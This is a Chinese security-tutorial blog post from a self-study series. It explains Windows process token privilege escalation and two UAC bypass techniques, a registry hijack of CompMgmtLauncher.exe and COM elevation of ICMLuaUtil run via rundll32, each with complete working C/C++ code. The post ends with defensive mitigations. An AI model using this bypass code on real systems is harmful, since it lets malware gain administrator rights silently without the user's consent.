主頁 >  其他 > [網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

[網路安全自學篇] 九十四.《Windows黑客編程技術詳解》之提權技術(令牌權限提升和Bypass UAC)

2020-09-14 02:51:44 其他

這是作者網路安全自學教程系列,主要是關于安全工具和實踐操作的在線筆記,特分享出來與博友們學習,希望您喜歡,一起進步,這篇文章將帶著大家來學習《Windows黑客編程技術詳解》,其作者是甘迪文老師,推薦大家購買來學習,作者將采用實際編程和圖文結合的方式進行分享,并且會進一步補充相關知識點,第六篇文章主要介紹木馬病毒提權技術,包括行程訪問令牌權限提升和Bypass UAC,希望對您有所幫助,

如果把權限看作是門禁卡,那么計算機便是一棟擁有許多門禁的大樓,要想進入一個房間或辦公室,則需要擁有對應房間的門禁卡,對于低權限,即擁有很少數量的門禁卡,能去的也只有廁所之類的無關緊要的地方,無法進入層層設防的保密辦公室,這樣,即使病毒木馬成功混入計算機這所大樓,如果沒有足夠的權限,也不能竊取或修改計算機中的關鍵資料,殺傷力有限,

因此,提權技術(從低權限獲取高權限的技術)成為大多數病毒木馬必備技術,

在這里插入圖片描述

計算機上有哪些操作需要提權呢?作業系統處于安全考慮,對不同的作業系統劃分了權限,例如創建或修改系統服務、修改HKEY_LOCAL_MACHINE注冊表鍵或重啟移動檔案等操作,均需要管理員權限,普通權限操作會失敗,

同時,從VISTA系統引入了UAC(用戶賬戶控制),涉及權限操作時都會有彈窗提示,只有用戶點擊確認后,方可繼續操作,所以,VISTA之后的提權操作主要是針對UAC不彈窗靜默提權,即Bypass UAC,

在這里插入圖片描述

文章目錄

  • 一.行程訪問令牌權限提升
    • 1.函式介紹
    • 2.實作原理
    • 3.編程實作
  • 二.Bypass UAC
    • 1.基于白名單程式的Bypass UAC
    • 2.基于COM組件介面的Bypass UAC
  • 三.總結


作者的github資源:
軟體安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
Windows-Hacker:https://github.com/eastmountyxz/Windows-Hacker-Exp


宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,

前文學習:
[網路安全自學篇] 一.入門筆記之看雪Web安全學習及異或解密示例
[網路安全自學篇] 二.Chrome瀏覽器保留密碼功能滲透決議及登錄加密入門筆記
[網路安全自學篇] 三.Burp Suite工具安裝配置、Proxy基礎用法及暴庫示例
[網路安全自學篇] 四.實驗吧CTF實戰之WEB滲透和隱寫術解密
[網路安全自學篇] 五.IDA Pro反匯編工具初識及逆向工程解密實戰
[網路安全自學篇] 六.OllyDbg動態分析工具基礎用法及Crakeme逆向
[網路安全自學篇] 七.快手視頻下載之Chrome瀏覽器Network分析及Python爬蟲探討
[網路安全自學篇] 八.Web漏洞及埠掃描之Nmap、ThreatScan和DirBuster工具
[網路安全自學篇] 九.社會工程學之基礎概念、IP獲取、IP物理定位、檔案屬性
[網路安全自學篇] 十.論文之基于機器學習演算法的主機惡意代碼
[網路安全自學篇] 十一.虛擬機VMware+Kali安裝入門及Sqlmap基本用法
[網路安全自學篇] 十二.Wireshark安裝入門及抓取網站用戶名密碼(一)
[網路安全自學篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及資料流追蹤和影像抓取(二)
[網路安全自學篇] 十四.Python攻防之基礎常識、正則運算式、Web編程和套接字通信(一)
[網路安全自學篇] 十五.Python攻防之多執行緒、C段掃描和資料庫編程(二)
[網路安全自學篇] 十六.Python攻防之弱口令、自定義字典生成及網站暴庫防護
[網路安全自學篇] 十七.Python攻防之構建Web目錄掃描器及ip代理池(四)
[網路安全自學篇] 十八.XSS跨站腳本攻擊原理及代碼攻防演示(一)
[網路安全自學篇] 十九.Powershell基礎入門及常見用法(一)
[網路安全自學篇] 二十.Powershell基礎入門及常見用法(二)
[網路安全自學篇] 二十一.GeekPwn極客大賽之安全攻防技術總結及ShowTime
[網路安全自學篇] 二十二.Web滲透之網站資訊、域名資訊、埠資訊、敏感資訊及指紋資訊收集
[網路安全自學篇] 二十三.基于機器學習的惡意請求識別及安全領域中的機器學習
[網路安全自學篇] 二十四.基于機器學習的惡意代碼識別及人工智能中的惡意代碼檢測
[網路安全自學篇] 二十五.Web安全學習路線及木馬、病毒和防御初探
[網路安全自學篇] 二十六.Shodan搜索引擎詳解及Python命令列呼叫
[網路安全自學篇] 二十七.Sqlmap基礎用法、CTF實戰及請求引數設定(一)
[網路安全自學篇] 二十八.檔案上傳漏洞和Caidao入門及防御原理(一)
[網路安全自學篇] 二十九.檔案上傳漏洞和IIS6.0決議漏洞及防御原理(二)
[網路安全自學篇] 三十.檔案上傳漏洞、編輯器漏洞和IIS高版本漏洞及防御(三)
[網路安全自學篇] 三十一.檔案上傳漏洞之Upload-labs靶場及CTF題目01-10(四)
[網路安全自學篇] 三十二.檔案上傳漏洞之Upload-labs靶場及CTF題目11-20(五)
[網路安全自學篇] 三十三.檔案上傳漏洞之繞狗一句話原理和繞過安全狗(六)
[網路安全自學篇] 三十四.Windows系統漏洞之5次Shift漏洞啟動計算機
[網路安全自學篇] 三十五.惡意代碼攻擊溯源及惡意樣本分析
[網路安全自學篇] 三十六.WinRAR漏洞復現(CVE-2018-20250)及惡意軟體自啟動劫持
[網路安全自學篇] 三十七.Web滲透提高班之hack the box在線靶場注冊及入門知識(一)
[網路安全自學篇] 三十八.hack the box滲透之BurpSuite和Hydra密碼爆破及Python加密Post請求(二)
[網路安全自學篇] 三十九.hack the box滲透之DirBuster掃描路徑及Sqlmap高級注入用法(三)
[網路安全自學篇] 四十.phpMyAdmin 4.8.1后臺檔案包含漏洞復現及詳解(CVE-2018-12613)
[網路安全自學篇] 四十一.中間人攻擊和ARP欺騙原理詳解及漏洞還原
[網路安全自學篇] 四十二.DNS欺騙和釣魚網站原理詳解及漏洞還原
[網路安全自學篇] 四十三.木馬原理詳解、遠程服務器IPC$漏洞及木馬植入實驗
[網路安全自學篇] 四十四.Windows遠程桌面服務漏洞(CVE-2019-0708)復現及詳解
[網路安全自學篇] 四十五.病毒詳解及批處理病毒制作(自啟動、修改密碼、定時關機、藍屏、行程關閉)
[網路安全自學篇] 四十六.微軟證書漏洞CVE-2020-0601 (上)Windows驗證機制及可執行檔案簽名復現
[網路安全自學篇] 四十七.微軟證書漏洞CVE-2020-0601 (下)Windows證書簽名及HTTPS網站劫持
[網路安全自學篇] 四十八.Cracer第八期——(1)安全術語、Web滲透流程、Windows基礎、注冊表及黑客常用DOS命令
[網路安全自學篇] 四十九.Procmon軟體基本用法及檔案行程、注冊表查看
[網路安全自學篇] 五十.虛擬機基礎之安裝XP系統、檔案共享、網路快照設定及Wireshark抓取BBS密碼
[網路安全自學篇] 五十一.惡意樣本分析及HGZ木馬控制目標服務器
[網路安全自學篇] 五十二.Windows漏洞利用之堆疊溢位原理和堆疊保護GS機制
[網路安全自學篇] 五十三.Windows漏洞利用之Metasploit實作堆疊溢位攻擊及反彈shell
[網路安全自學篇] 五十四.Windows漏洞利用之基于SEH例外處理機制的堆疊溢位攻擊及shell提取
[網路安全自學篇] 五十五.Windows漏洞利用之構建ROP鏈繞過DEP并獲取Shell
[網路安全自學篇] 五十六.i春秋老師分享小白滲透之路及Web滲透技術總結
[網路安全自學篇] 五十七.PE檔案逆向之什么是數字簽名及Signtool簽名工具詳解(一)
[網路安全自學篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反彈shell
[網路安全自學篇] 五十九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及shell深度提權
[網路安全自學篇] 六十.Cracer第八期——(2)五萬字總結Linux基礎知識和常用滲透命令
[網路安全自學篇] 六十一.PE檔案逆向之數字簽名詳細決議及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[網路安全自學篇] 六十二.PE檔案逆向之PE檔案決議、PE編輯工具使用和PE結構修改(三)
[網路安全自學篇] 六十三.hack the box滲透之OpenAdmin題目及蟻劍管理員提權(四)
[網路安全自學篇] 六十四.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現及詳解
[網路安全自學篇] 六十五.Vulnhub靶機滲透之環境搭建及JIS-CTF入門和蟻劍提權示例(一)
[網路安全自學篇] 六十六.Vulnhub靶機滲透之DC-1提權和Drupal漏洞利用(二)
[網路安全自學篇] 六十七.WannaCry勒索病毒復現及分析(一)Python利用永恒之藍及Win7勒索加密
[網路安全自學篇] 六十八.WannaCry勒索病毒復現及分析(二)MS17-010利用及病毒決議
[網路安全自學篇] 六十九.宏病毒之入門基礎、防御措施、自發郵件及APT28樣本分析
[網路安全自學篇] 七十.WannaCry勒索病毒復現及分析(三)蠕蟲傳播機制分析及IDA和OD逆向
[網路安全自學篇] 七十一.深信服分享之外部威脅防護和勒索病毒對抗
[網路安全自學篇] 七十二.逆向分析之OllyDbg動態除錯工具(一)基礎入門及TraceMe案例分析
[網路安全自學篇] 七十三.WannaCry勒索病毒復現及分析(四)蠕蟲傳播機制全網原始碼詳細解讀
[網路安全自學篇] 七十四.APT攻擊檢測溯源與常見APT組織的攻擊案例
[網路安全自學篇] 七十五.Vulnhub靶機滲透之bulldog資訊收集和nc反彈shell(三)
[網路安全自學篇] 七十六.逆向分析之OllyDbg動態除錯工具(二)INT3斷點、反除錯、硬體斷點與記憶體斷點
[網路安全自學篇] 七十七.惡意代碼與APT攻擊中的武器(強推Seak老師)
[網路安全自學篇] 七十八.XSS跨站腳本攻擊案例分享及總結(二)
[網路安全自學篇] 七十九.Windows PE病毒原理、分類及感染方式詳解
[網路安全自學篇] 八十.WHUCTF之WEB類解題思路WP(代碼審計、檔案包含、過濾繞過、SQL注入)
[網路安全自學篇] 八十一.WHUCTF之WEB類解題思路WP(檔案上傳漏洞、冰蝎蟻劍、反序列化phar)
[網路安全自學篇] 八十二.WHUCTF之隱寫和逆向類解題思路WP(文字解密、圖片解密、佛語解碼、冰蝎流量分析、逆向分析)
[網路安全自學篇] 八十三.WHUCTF之CSS注入、越權、csrf-token竊取及XSS總結
[網路安全自學篇] 八十四.《Windows黑客編程技術詳解》之VS環境配置、基礎知識及DLL延遲加載詳解
[網路安全自學篇] 八十五.《Windows黑客編程技術詳解》之注入技術詳解(全域鉤子、遠執行緒鉤子、突破Session 0注入、APC注入)
[網路安全自學篇] 八十六.威脅情報分析之Python抓取FreeBuf網站APT文章(上)
[網路安全自學篇] 八十七.惡意代碼檢測技術詳解及總結
[網路安全自學篇] 八十八.基于機器學習的惡意代碼檢測技術詳解
[網路安全自學篇] 八十九.PE檔案決議之通過Python獲取時間戳判斷軟體來源地區
[網路安全自學篇] 九十.遠控木馬詳解及APT攻擊中的遠控
[網路安全自學篇] 九十一.阿里云搭建LNMP環境及實作PHP自定義網站IP訪問 (1)
[網路安全自學篇] 九十二.《Windows黑客編程技術詳解》之病毒啟動技術創建行程API、突破SESSION0隔離、記憶體加載詳解(3)
[網路安全自學篇] 九十三.《Windows黑客編程技術詳解》之木馬開機自啟動技術(注冊表、計劃任務、系統服務)


前文欣賞:
[滲透&攻防] 一.從資料庫原理學習網路攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀資料庫及基礎用法
[滲透&攻防] 三.資料庫之差異備份及Caidao利器
[滲透&攻防] 四.詳解MySQL資料庫攻防及Fiddler神器分析資料包



一.行程訪問令牌權限提升

病毒木馬想要實作一些關鍵的系統操作時,往往要求執行操作的行程擁有足夠的權限,比如,通過呼叫ExitWindows函式實作關機或重啟操作時,它就要求行程要有 SE_SHUTDOWN_NAME 權限,否則會忽視操作不執行,這時,程式能夠做的便是按照要求提升行程群賢,第一部分通過介紹提升行程訪問令牌的權限,

1.函式介紹

(1) OpenProcessToken函式
打開與行程關聯的訪問令牌,

BOOL OpenProcessToken(
	HANDLE ProcessHandle, //要修改訪問權限的行程句柄
	DWORD DesiredAccess,  //訪問掩碼,要對令牌進行何種操作
	PHANDLE TokenHandle   //回傳的訪問令牌指標
)

(2) LookupPrivilegevalue函式
查看系統權限的特權值,回傳資訊到一個LUID結構體,

BOOL LookupPrivilegevalue(
	LPCTSTR lpSystemName,   //指向要獲取特權值的系統名稱
	LPCTSTR lpName,         //特權名稱
	PLUID lpLuid            //指向LUID變數的指標
);

(3) AdjustTokenPrivileges函式
啟用或禁用指定訪問令牌中的權限,在訪問令牌中啟用或禁用權限時需要 TOKEN_ADJUST_PRIVILEGES 訪問,

BOOL AdjustTokenPrivileges(
	HANDLE TokenHandle,         //handle to token
	BOOL DisableAllPrivileges,  //disabling option
	PTOKEN_PRIVILEGES NewState, //privilege information
	DWORD BufferLength,         //size of buffer
	PTOKEN_PRIVILEGES PreviousState, //original state buffer
	PDWORD ReturnLength         //required buffer size
);

其中,操作型別及特權屬性Attributes可以是如下常量:

SE_PRIVILEGE_ENABLED            //使特權有效
SE_PRIVILEGE_ENABLED_BY_DEFAULT //使特權默認有效
SE_PRIVILEGE_REMOVED            //移除該特權
SE_PRIVILEGE_USED_FOR_ACCESS    //取得物件或服務的訪問權


2.實作原理

(1) 使用場景
病毒木馬想要實作一些關鍵的系統操作時,并且行程訪問令牌權限提升的實作步驟較為固定,

(2) 實作流程

  • 打開行程訪問令牌
  • 取得特權的LUID值
  • 調整訪問令牌特權值

首先獲取行程的訪問令牌,然后將訪問令牌的權限修改為指定權限,但是系統內部并不直接識別權限名稱,而是識別LUID值,所以需要根據權限名稱獲取對應的LUID值,之后傳遞給系統,實作行程訪問令牌權限的修改,

(3) 實作步驟

  • 獲取指定行程的訪問令牌,需要獲取權限的令牌句柄為 TOKEN_ADJUST_PRIVILEGES
    OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)

  • 獲取本地系統指定特權名稱的LUID值,LUID值相當于該特權的身份標號
    LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue)

  • 創建一個新的行程令牌特權結構體 TOKEN_PRIVILEGES,并對其進行賦值,設定新特權的數量、特權對應的LUID值以及特權的屬性狀態
    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

  • 呼叫 AdjustTokenPrivileges 函式對行程令牌的特權進行修改
    AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL)



3.編程實作

第一步,新建C++空專案,專案名稱為“Tiquan01”,

在這里插入圖片描述

第二步,新建源檔案“main.cpp”,

在這里插入圖片描述

第三步,撰寫代碼獲取當前行程號,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;
	system("PAUSE");
	return 0;
}

輸出結果如下圖所示,可以看到我們的程式Tiquan01.exe行程為18512,

在這里插入圖片描述

第四步,通過子函式實作行程訪問令牌的提升權限,

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

#ifdef _WIN32
#include <process.h>
#else
#include <unistd.h>
#endif

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
	::MessageBox(NULL, szErr, "ERROR", MB_OK);
}

/*----------------------------------------------------------------
    函式名:  CPrivilgeEscalationDlg::EnableDebugPrivilege
    回傳型別:  BOOL
    功能: 提升行程訪問令牌權限
    引數1: 需要提升權限的行程句柄
    引數2: 特權名稱
----------------------------------------------------------------*/
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
	HANDLE hToken = NULL;
	LUID luidValue = { 0 };
	TOKEN_PRIVILEGES tokenPrivileges = { 0 };
	BOOL bRet = FALSE;
	DWORD dwRet = 0;

	//打開行程令牌并獲取具有 TOKEN_ADJUST_PRIVILEGES 權限的行程令牌句柄
	bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (FALSE == bRet)
	{
		ShowError("OpenProcessToken");
		return FALSE;
	}
	//獲取本地系統的 pszPrivilegesName 特權的LUID值
	bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
	if (FALSE == bRet)
	{
		ShowError("LookupPrivilegeValue");
		return FALSE;
	}
	//設定提升權限資訊
	tokenPrivileges.PrivilegeCount = 1;
	tokenPrivileges.Privileges[0].Luid = luidValue;
	tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	//提升行程令牌訪問權限
	bRet = ::AdjustTokenPrivileges(
		hToken,                  //令牌句柄
		FALSE,                   //是否禁用權限
		&tokenPrivileges,        //新的特權的權限資訊
		0,                       //特權資訊大小
		NULL,                    //用來接收特權資訊當前狀態的buffer
		NULL                     //緩沖區大小
	);
	if (FALSE == bRet) {
		ShowError("AdjustTokenPrivileges");
		return FALSE;
	}
	else {
		//根據錯誤碼判斷是否特權都設定成功
		dwRet = ::GetLastError();
		if (ERROR_SUCCESS == dwRet)
		{
			return TRUE;
		}
		else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
		{
			ShowError("ERROR_NOT_ALL_ASSIGNED");
			return FALSE;
		}
	}

	return FALSE;
}

//主函式
int main(int argc, char* argv[])
{
	//獲取當前行程號
	int iPid = (int)_getpid();
	std::cout << "The process id is: " << iPid << std::endl;

	//修改當前行程令牌訪問權限
	if (FALSE == EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME))
	{
		printf("Enable Privileges Error!\n");
	}
	printf("Enable Privileges OK!\n");

	system("PAUSE");
	return 0;
}

運行結果如下圖所示,注意需要以管理員權限運行,否則會提示相關錯誤,

在這里插入圖片描述

問題:怎么判斷我是否提權成功呢?

同時,編程程序中會遇到各種錯誤,請大家一定實際去撰寫代碼,學會谷歌百度獨立解決, 比如"const char *"型別的實參與“LPCWSTR”型別的形參不兼容,基本的解決方法如下:

  • 配置屬性 -> 常規 -> 字符集 -> 使用多位元組字符集
  • C/C++ -> SDL檢查-> 否
  • C/C++ -> 語言 -> 符合模式 -> 否

在這里插入圖片描述



二.Bypass UAC

UAC(User Account Control)是微軟在Windows VISTA以后版本中引入的一種安全機制,通過UAC,應用程式和任務可始終在非管理員賬戶的安全背景關系中運行,除非特別授予管理員級別的系統訪問權限,UAC可以阻止未授權的應用程式自動進行安裝,并防止無意地更改系統,

在這里插入圖片描述

UAC需要授權的動作包括:配置Windows Update、增加或洗掉用戶賬戶、改變用戶賬戶的型別、改變UAC設定、安裝ActiveX、安裝或移除程式、安裝設備驅動程式、設定家長控制、將檔案移動或復制到Program Files或Windows目錄、查看其他用戶檔案夾等,

觸發UAC時,系統會創建一個consent.exe行程,該行程通過白名單程式和用戶選擇來判斷是否創建管理員權限行程,請求行程將要請求的行程cmdline和行程路徑通過LPC介面傳遞給 appinfo 的 RAiLuanchAdminProcess 函式,流程如下:

  • 該函式首選驗證路徑是否在白名單中
  • 接著將結果傳遞給consent.exe行程
  • 該行程驗證請求行程的簽名以及發起者的權限是否符合要求后,決定是否彈出UAC視窗讓用戶確認
  • UAC視窗會創建新的安全桌面,屏蔽之前的界面,同時UAC視窗行程是系統權限行程,其他普通行程無法和其進行通信互動,用戶確認后,呼叫 CreateProcessAsUser 函式以管理員身份啟動請求的行程

病毒木馬如果想要實作更多的權限操作,那么就不得不繞過UAC彈窗,在沒有通知用戶的情況下,靜默地將程式的普通權限提升為管理員權限,從而使程式可以實作一些需要權限的操作,目前實作Bypass UAC主要有兩種方法:

  • 一種是利用白名單提權機制
  • 一種是利用COM組件介面技術


1.基于白名單程式的Bypass UAC

有些系統程式可以直接獲取管理員權限,而不觸發UAC彈框,這類程式成為白名單程式,例如:slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等,這些白名單程式可以通過DLL劫持、注入或是修改注冊表執行命令的方式啟動目標程式,實作Bypass UAC提權操作,

下面選擇白名單程式 CompMgmtLauncher.exe 進行詳細分析,利用它實作Bypass UAC提權,分析的環境是64位Windows 10作業系統,使用的工具是行程監控器Procmon.exe,

第一步,在System32目錄下運行 CompMgmtLauncher.exe 程式,

在這里插入圖片描述

此時并沒有出現UAC彈窗就直接顯示計算機管理的視窗界面,

在這里插入圖片描述


第二步,使用procmon軟體監控該行程的所有操作,
主要是監控注冊表和檔案的操作,設定行程名為CompMgmtLauncher.exe過濾即可,

在這里插入圖片描述

輸出結果如下圖所示:

在這里插入圖片描述

第三步,分析該行程注冊表操作,
Procmon監控資料分析發現,計算機管理行程會先查詢注冊表中資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

發現該路徑不存在后,繼續查詢注冊表中的資料并讀取,

  • HKCR\mscfile\shell\open\command(Default)

該注冊表路徑中存盤著mmc.exe行程的路徑資訊,如下圖所示,然后,計算機管理程式會根據讀取到的路徑啟動程式,顯示計算機管理的視窗界面,

疑惑:如何通過該軟體定位行程的執行邏輯或操作流程?感覺不是Procmon就能實作的,

在這里插入圖片描述

注冊表中內容對應如下:

  • %SystemRoot%\system32\mmc.exe “%1” %*

在這里插入圖片描述


第四步,手動構造注冊表路徑彈窗cmd命令列程式,
在 CompMgmtLauncher.exe 啟動的程序中,有一個關鍵的操作就是它會先讀取注冊表的資料,

  • HKCU\Software\Classes\mscfile\shell\open\command

我們開系統注冊表編輯器regedit.exe,查看相應路徑下的注冊表,發現該注冊表路徑確實不存在,所以,如果自己構造該注冊路徑,寫入啟動程式的路徑,這樣,CompMgmtLauncher.exe便會啟動該程式,為了驗證這個猜想,自己手動添加該注冊表路徑,并設定默認的資料為C:\Windows\System32\cmd.exe,

在這里插入圖片描述

注冊表修改如下:

在這里插入圖片描述

然后使用Procmon.exe進行監控并運行CompMgmtLauncher.exe,成功彈出cmd.exe命令列視窗,而且提示管理員權限,如下圖所示,注意左上角顯示的是“計算機管理”而不再是“CMD”,

在這里插入圖片描述

查看Procmon.exe的監控資料,CompMgmtLauncher.exe確實直接讀取注冊表路徑中的資料并啟動,


第五步,撰寫代碼實作相關功能,
利用CompMgmtLauncher.exe白名單程式Bypass UAC提權的原理講到這里,接下來撰寫程式創建并添加注冊表,并寫入自定義的程式路徑,

  • HKCU\Software\Classes\mscfile\shell\open\command(Default)

具體Bypass UAC代碼如下,運行計算機管理程式即可完成Bypass UAC提權操作,其中,HKEY_CURRENT_USER是用戶注冊表,程式使用普通權限即可進行修改,

Tiquan02完整代碼

#include<windows.h>
#include<string.h>
#include<iostream>
using namespace std;

//顯示錯誤資訊
void ShowError(char* pszText)
{
	char szErr[MAX_PATH] = { 0 };
	::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
#ifdef _DEBUG
	::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
#endif
}

//修改注冊表
BOOL SetReg(char* lpszExePath)
{
	HKEY hKey = NULL;
	//創建項
	::RegCreateKeyEx(HKEY_CURRENT_USER, 
		"Software\\Classes\\mscfile\\Shell\\Open\\Command", 
		0, NULL, 0, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL, &hKey, NULL);

	if (NULL == hKey) {
		ShowError("RegCreateKeyEx");
		return FALSE;
	}
	//設定鍵值
	::RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)lpszExePath, (1 + ::lstrlen(lpszExePath)));
	//關閉注冊表
	::RegCloseKey(hKey);
	return TRUE;
}

//主函式
int main(int argc, char* argv[])
{
	BOOL bRet = FALSE;
	PVOID OldValue = NULL;

	// 關閉檔案重定位
	::Wow64DisableWow64FsRedirection(&OldValue);

	// 修改注冊表
	bRet = SetReg("C:\\Windows\\System32\\cmd.exe");
	if (bRet) {
		// 運行 CompMgmtLauncher.exe
		system("CompMgmtLauncher.exe");
		printf("Run OK!\n");
	}
	else {
		printf("Run ERROR!\n");
	}

	// 恢復檔案重定位
	::Wow64RevertWow64FsRedirection(OldValue);
	system("pause");
	return 0;
}

輸出結果如下圖所示,360成功識別在劫持程式,點擊允許后及彈出對應的計算機管理CMD,

在這里插入圖片描述

該程式成功利用白名單程式實作了Bypass UAC提權操作,并向注冊表中寫入cmd程式并啟動,其實這也算一種利用白名單的程式劫持,最終效果如下圖所示,

在這里插入圖片描述



2.基于COM組件介面的Bypass UAC

COM提升名稱(COM Elevation Moniker)技術允許運行在用戶帳戶控制(UAC)下的應用程式,以提升權限的方法來激活COM類,最終提升COM介面權限,其中,ICMLuaUtil 介面提供了ShellExec方法來執行命令,創建指定行程,所以,接下來介紹的基于 ICMLuaUtil 介面的Bypass UAC的實作原理,它是利用COM提升名稱來對 ICMLuaUtil 介面提權,提權后通過呼叫ShellExec方法來創建指定行程,實作Bypass UAC操作,

使用權限提升COM類的程式必須調通過用CoCreateInstanceAsAdmin函式來創建COM類,COM提升名稱具體的實作代碼如下:

HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;
    // 初始化COM環境
    ::CoInitialize(NULL);
    // 構造字串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }
    // 設定BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;
    // 創建名稱物件并獲取COM物件
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}

執行上述代碼,即可創建并激活提升權限的COM類,ICMLuaUtil 介面通過上述方法創建后,直接呼叫ShellExec方法創建指定行程,完成Bypass UAC的操作,基于ICMLuaUtil介面Bypass UAC的具體實作代碼如下所示:

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
	HRESULT hr = 0;
	CLSID clsidICMLuaUtil = { 0 };
	IID iidICMLuaUtil = { 0 };
	ICMLuaUtil *CMLuaUtil = NULL;
	BOOL bRet = FALSE;

	do {
		::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
		::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

		// 提權
		hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
		if (FAILED(hr))
		{
			break;
		}

		// 啟動程式
		hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
		if (FAILED(hr))
		{
			break;
		}

		bRet = TRUE;
	}while(FALSE);

	// 釋放
	if (CMLuaUtil) 
	{
		CMLuaUtil->lpVtbl->Release(CMLuaUtil);
	}

	return bRet;
}

要注意的是,如果執行COM提升名稱(COM Elevation Moniker)代碼的程式身份是不可信的,則會觸發UAC彈窗;若可信,則不會觸發UAC彈窗,所以,要想Bypass UAC,則需要想辦法讓這段代碼在Windows的可信程式中運行,其中,可信程式有計算器、記事本、資源管理器、rundll32.exe等,

因此可以通過DLL注入或是劫持等技術,將這段代碼注入到這些可信程式的行程空間中執行,其中,最簡單的莫過于直接通過rundll32.exe來加載DLL,執行COM提升名稱的代碼,利用rundll32.exe來呼叫自定義DLL中的匯出函式,匯出函式的引數和回傳值是有特殊規定的,必須是如下形式,

// 匯出函式給rundll32.exe呼叫執行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

將上述Bypass UAC的代碼寫在DLL的專案工程中,同時開發Test控制臺專案工程,負責并將BypassUAC函式匯出給rundll32.exe程式呼叫,完成Bypass UAC作業,

Test代碼如下:

#include "stdafx.h"
#include <Windows.h>


int _tmain(int argc, _TCHAR* argv[])
{
	char szCmdLine[MAX_PATH] = { 0 };
	char szRundll32Path[MAX_PATH] = "C:\\Windows\\System32\\rundll32.exe";
	char szDllPath[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\BypassUAC2_Test\\Debug\\BypassUAC2_Test.dll";
	::sprintf_s(szCmdLine, "%s \"%s\" %s", szRundll32Path, szDllPath, "BypassUAC");
	::WinExec(szCmdLine, SW_HIDE);

	printf("Run OK.\n");
	system("pause");
	return 0;
}

在這里插入圖片描述

Bypass UAC啟動的是cmd.exe程式,所以,直接運行Test.exe即可看到cmd.exe命令列視窗,而且視窗標題有管理員字樣,運行結果如下圖所示,

在這里插入圖片描述



三.總結

寫到這里,這篇文章就介紹完畢,希望對您有所幫助,最后進行簡單的總結下,本文講解了行程訪問令牌權限提升和Bypass UAC(白名單和COM組件),其實,Bypass UAC的方法有很多,對于不同的Bypass UAC方法,具體的實作程序不太一樣,需要我們不斷去摸索,同時,隨著作業系統不斷升級更新,Bypass UAC技術可能不再適應(被打補丁),但也會有新的方法出現,大家可以去github上關注UACME開源專案,

最后補充防止Bypass UAC的方法:

  • 不要給普通用戶設定管理員權限
  • 在“更改用戶賬戶控制設定”中,將用戶賬戶控制(UAC)設定為“始終通知”

注意,不要覺得這些技術代碼實作容易就簡單,很多木馬、病毒、APT攻擊都用到了它們,不要小瞧任何一個技術,只有把這些技術組合起來威脅更大,同樣,作為反病毒或安全分析人員,我們需要了解各種技術,只有知道怎么攻擊和原理才能更好地防守,

